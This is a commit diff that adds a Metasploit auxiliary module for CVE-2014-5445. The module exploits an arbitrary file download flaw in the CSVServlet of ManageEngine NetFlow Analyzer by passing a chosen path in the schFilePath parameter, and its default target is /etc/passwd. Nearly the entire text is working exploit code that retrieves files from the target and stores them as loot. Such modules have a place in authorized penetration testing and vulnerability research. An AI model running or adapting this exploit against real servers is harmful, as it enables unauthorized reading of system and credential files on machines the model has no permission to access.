Create exploit for CVE-2014-5445

modules/auxiliary/admin/http/netflow_file_download.rb

@@ -0,0 +1,87 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "ManageEngine NetFlow Analyzer Arbitrary File Download",
+      'Description'    => %q{
+          This module exploits an arbitrary file download vulnerability in CSVServlet
+          on ManageEngine NetFlow Analyzer.
+          This module has been tested on both Windows and Linux with versions 8.6 to 10.2.
+          Windows paths have to be escaped with 4 backslashes on the command line.
+      },
+      'Author'       =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2014-5445' ],
+          [ 'OSVDB', 'TODO' ],
+          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_netflow_it360_file_dl.txt' ],
+          [ 'URL', 'FULLDISC_URL' ]
+        ],
+      'DisclosureDate' => 'Nov 30 2014'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETURI',
+          [ true, "The base path to NetFlow Analyzer", '/netflow' ]),
+        OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/passwd']),
+      ], self.class)
+  end
+
+
+  def run
+    # No point to continue if filepath is not specified
+    if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
+      print_error("Please supply the path of the file you want to download.")
+      return
+    end
+
+    # Create request
+    begin
+      print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
+      res = send_request_cgi({
+        'method' => 'GET',
+        'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
+        'vars_get' => { 'schFilePath' => datastore['FILEPATH'] },
+      })
+    rescue Rex::ConnectionRefused
+      print_error("#{peer} - Could not connect.")
+      return
+    end
+
+    # Show data if needed
+    if res && res.code == 200
+      if res.body.to_s.bytesize == 0
+        print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
+        return
+      end
+      vprint_line(res.body.to_s)
+      fname = File.basename(datastore['FILEPATH'])
+
+      path = store_loot(
+        'netflow.http',
+        'application/octet-stream',
+        datastore['RHOST'],
+        res.body,
+        fname
+      )
+      print_good("File saved in: #{path}")
+    else
+      print_error("#{peer} - Failed to download file.")
+    end
+  end
+end